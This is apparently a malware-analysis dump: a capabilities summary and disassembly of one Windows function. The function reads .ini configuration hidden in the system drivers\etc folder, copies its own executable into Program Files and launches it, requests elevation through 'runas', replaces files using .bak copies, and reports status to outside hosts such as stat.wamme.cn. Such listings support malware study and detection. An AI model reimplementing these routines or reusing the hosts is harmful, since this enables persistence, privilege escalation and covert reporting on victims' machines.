Function at 0x401c90
Capabilities:
Copy file
Create a process with modified i/o handles and window
Create directory
Create process on windows
Delete file
Initialize winsock library
Move file
Read .ini file
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x43e21b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x12a0
call fcn.00424270
mov eax, dword [0x45193c]
push ebx
mov dword [ebp - 0x14], eax
push esi
mov esi, dword [0x44d0fc]
push edi
xor eax, eax
mov byte [ebp - 0x814], 0
mov ecx, 0x7f
lea edi, [ebp - 0x813]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, 0x6ce
sub eax, esi
mov dword [ebp - 0x10], esp
push 0
mov dword [str._r_____r____], eax
mov dword [ebp - 4], 0
call fcn.0042422f
add esp, 4
mov esi, eax
mov edi, 0x190
call fcn.0043b792
mov eax, dword [eax + 4]
mov ecx, dword [eax + 0x44]
push ecx
lea ecx, [ebp - 0xdac]
call fcn.00401be0
mov ecx, dword [ebp - 0xdac]
mov byte [ebp - 4], 1
lea edx, [ebp - 0x514]
jmp 0x401d30
mov al, byte [ecx]
inc ecx
mov byte [edx], al
inc edx
test al, al
jne 0x401d30
lea eax, [ebp - 0x514]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401d43
sub eax, edx
mov dword [ebp - 0xda8], eax
jne 0x401f9a
push str.C:WINDOWS_system32driversetc_service3.ini
push 0x100
lea edx, [ebp - 0x214]
push edx
push 0x440e09
push str.rand
push str.aaaaa
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
lea eax, [ebp - 0x214]
push eax
call fcn.0042422a
add esp, 4
test eax, eax
jle 0x401da2
lea ecx, [ebp - 0x214]
push ecx
call fcn.0042422a
add esp, 4
mov esi, eax
mov eax, esi
cdq
idiv edi
mov eax, edx
and eax, 0x80000001
jns 0x401db5
dec eax
or eax, 0xfffffffe
inc eax
cmp eax, 1
jne 0x401dc2
lea eax, [edx - 1]
lea ecx, [edx + 1]
jmp 0x401dc7
mov eax, edx
lea ecx, [edx + 2]
cmp ecx, edi
mov dword [ebp - 0xda8], ecx
jl 0x401dd8
dec edx
mov dword [ebp - 0xda8], edx
imul eax, eax, 0x1e
lea esi, [eax + 0x44d110]
push esi
lea edx, [ebp - 0x114]
push str.C:Program_Files_s
push edx
call fcn.0042414a
add esp, 0xc
push 0
lea eax, [ebp - 0x114]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov ecx, dword [ebp - 0xda8]
imul ecx, ecx, 0x1e
add ecx, 0x44d110
push ecx
push esi
lea edx, [ebp - 0x114]
push str.C:Program_Files_s_s.exe
push edx
call fcn.0042414a
add esp, 0x10
push 0x100
lea eax, [ebp - 0x214]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0
lea ecx, [ebp - 0x114]
push ecx
lea edx, [ebp - 0x214]
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 0x180
lea eax, [ebp - 0x114]
push 0x800a
push eax
call fcn.00430aa8
mov ebx, eax
add esp, 0xc
cmp ebx, 0xffffffff
je 0x401eaa
push 2
push 0
push ebx
call fcn.0042cf31
xor eax, eax
mov ecx, 0x80
lea edi, [ebp - 0xc14]
rep stosd dword es:[edi], eax
mov ecx, dword [ebp - 0xda8]
push ecx
lea edx, [ebp - 0xc14]
push edx
push ebx
call fcn.0042d1aa
push ebx
call fcn.0042fe97
add esp, 0x1c
lea eax, [ebp - 0x114]
push eax
lea ecx, [ebp - 0x214]
push str._s__33201_
push ecx
call fcn.0042414a
add esp, 0xc
xor eax, eax
mov ecx, 0x11
lea edi, [ebp - 0xdf0]
rep stosd dword es:[edi], eax
lea edx, [ebp - 0xe00]
push edx
lea eax, [ebp - 0xdf0]
push eax
push 0
push 0
push 0x20
push 0
push 0
push 0
lea ecx, [ebp - 0x214]
push ecx
push 0
mov dword [ebp - 0xdf0], 0x44
mov dword [ebp - 0xdc4], 1
mov word [ebp - 0xdc0], 5
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x401f25
push 0
call fcn.0042410a
push esi
lea edx, [ebp - 0x114]
push str.C:Program_Files_s
push edx
call fcn.0042414a
add esp, 0xc
push 1
lea eax, [ebp - 0x114]
push eax
push 0
lea ecx, [ebp - 0x214]
push ecx
push str.runas
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp eax, 0x20
push 0
jg 0x402323
mov eax, dword [ebp + 8]
push 0
push 0
push 0
push str.http:__stat.wamme.cn_C8C_gl_cnzz61.html_pagehttp:__www.WebDllx.com_RunExeFail
push 0x44fff0
push 0
push 0
push 1
add eax, 0x74
push 0x68
push eax
call fcn.00436297
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
add esp, 0x2c
push 0x2710
call ebx
jmp 0x401fa0
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [0x44d0f4]
mov edi, dword [0x44d0f8]
mov eax, dword [str._r_____r____]
sub edx, edi
lea ecx, [edx + eax - 0x15d]
lea edx, [ebp - 0xda4]
push edx
push 0x101
mov dword [0x44d0ec], ecx
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
push 0
je 0x401fdd
call fcn.0042410a
mov eax, dword [0x44d0f8]
mov esi, dword [0x44d100]
mov edx, dword [0x44d108]
sub eax, esi
sub eax, edx
sub eax, 0x225
push str.C:WINDOWS_system32driversetc_service1.ini
mov dword [0x44d0f0], eax
call fcn.00423f3d
add esp, 8
cmp eax, 0xffffffff
jne 0x402029
push 0
push str.C:WINDOWS_system32driversetc_service2.ini
call fcn.00423f3d
add esp, 8
cmp eax, 0xffffffff
je 0x402029
push 0xea60
call ebx
mov ecx, dword [0x44d0f0]
mov esi, dword [0x44d104]
mov edx, dword [str._r_____r____]
sub ecx, esi
sub ecx, edx
sub ecx, 0x3b0
push 0
push str.C:WINDOWS_system32driversetc_service1.ini
mov dword [0x44d0f4], ecx
call fcn.00423f3d
add esp, 8
cmp eax, 0xffffffff
je 0x4022fa
push 0
push str.C:WINDOWS_system32driversetc_service2.ini
call fcn.00423f3d
add esp, 8
cmp eax, 0xffffffff
je 0x4022fa
mov eax, dword [str._r_____r____]
mov edx, dword [0x44d0f0]
mov ecx, dword [0x44d0fc]
push 0x440cd4
push 0x200
add edx, eax
lea eax, [ebp - 0xa14]
push eax
push 0x440e09
push str.ConfigL0
lea edx, [ecx + edx + 0x7c8]
push str.GameType1
mov dword [0x44d0fc], edx
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
mov edi, 0x440e09
lea esi, [ebp - 0xa14]
mov ecx, 1
xor edx, edx
repe cmpsb byte [esi], byte es:[edi]
je 0x4021de
lea eax, [ebp - 0xa14]
push eax
lea ecx, [ebp - 0x12b0]
push 0x12c
push ecx
call fcn.004012d0
add esp, 0xc
cmp eax, 5
jl 0x4021de
mov edx, dword [ebp - 0x12b0]
mov eax, edx
lea esi, [eax + 1]
lea ebx, [ebx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402110
sub eax, esi
mov cl, byte [eax + edx - 1]
mov eax, dword [ebp - 0x12a4]
push eax
cmp cl, 0x5c
push edx
lea ecx, [ebp - 0x414]
jne 0x402137
push str._s_s
jmp 0x40213c
push 0x440cac
push ecx
call fcn.0042414a
add esp, 0x10
lea edx, [ebp - 0x414]
push edx
lea eax, [ebp - 0x614]
push str._s.bak
push eax
call fcn.0042414a
add esp, 0xc
push 0
lea ecx, [ebp - 0x614]
push ecx
lea edx, [ebp - 0x414]
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea eax, [ebp - 0x414]
push eax
call esi
lea ecx, [ebp - 0x414]
push 0
push ecx
call fcn.00423f3d
add esp, 8
cmp eax, 0xffffffff
je 0x4021ab
lea edx, [ebp - 0x614]
push edx
call esi
push 0
call fcn.0042410a
lea eax, [ebp - 0x414]
push eax
lea ecx, [ebp - 0x614]
push ecx
call dword [sym.imp.KERNEL32.dll_MoveFileA]
lea ecx, [ebp - 0x414]
lea edx, [ebp - 0x814]
jmp 0x4021d0
mov al, byte [ecx]
inc ecx
mov byte [edx], al
inc edx
test al, al
jne 0x4021d0
push 0x64
call ebx
lea eax, [ebp - 0x814]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4021e7
sub eax, edx
mov dword [ebp - 0xda8], eax
push 0
jne 0x4021ff
call fcn.0042410a
mov edx, dword [0x44d0f0]
mov esi, dword [0x44d104]
mov ecx, dword [0x44d0ec]
sub edx, esi
sub edx, ecx
lea eax, [ebp - 0x814]
add edx, 0x474
push eax
mov dword [0x44d108], edx
call fcn.00423f3d
add esp, 8
cmp eax, 0xffffffff
jne 0x402294
mov eax, dword [ebp + 8]
push 0
push 0
push 0
push 0
push str.http:__stat.wamme.cn_C8C_gl_cnzz60.html_pagehttp:__www.WebDllx.com_NoDllx
push 0x44fff0
push 0
push 0
push 1
add eax, 0x74
push 0x68
push eax
call fcn.00436297
add esp, 0x2c
push 0x2710
call ebx
push 0
push str.C:WINDOWS_system32driversetc_service1.ini
call fcn.00423f3d
add esp, 8
cmp eax, 0xffffffff
je 0x40228d
push 0
push str.C:WINDOWS_system32driversetc_service2.ini
call fcn.00423f3d
add esp, 8
cmp eax, 0xffffffff
jne 0x402294
push 0
call fcn.0042410a
lea ecx, [ebp - 0x814]
lea edx, [ebp - 0x614]
mov al, byte [ecx]
inc ecx
mov byte [edx], al
inc edx
test al, al
jne 0x4022a0
push 0x132b600
call sym.CallDll.exe_int___cdecl_process5_int_
add esp, 4
push 0x1388
call ebx
mov eax, dword [ebp + 8]
push 0
push 0
push 0
push 0
push str.http:__stat.wamme.cn_C8C_gl_cnzz60.html_pagehttp:__www.WebDllx.com_NewRun
push 0x44fff0
push 0
push 0
push 1
add eax, 0x74
push 0x68
push eax
call fcn.00436297
add esp, 0x2c
push 0x2710
call ebx
xor esi, esi
push 0x2710
call ebx
inc esi
jmp 0x4022f0
mov edx, dword [0x44d0f0]
mov ecx, dword [0x44d10c]
sub ecx, edx
mov edx, dword [0x44d0f4]
lea eax, [ecx + edx + 0x655]
push 0x493e0
mov dword [0x44d0f8], eax
call ebx
push 0
call fcn.0042410a
mov eax, 0x402321
ret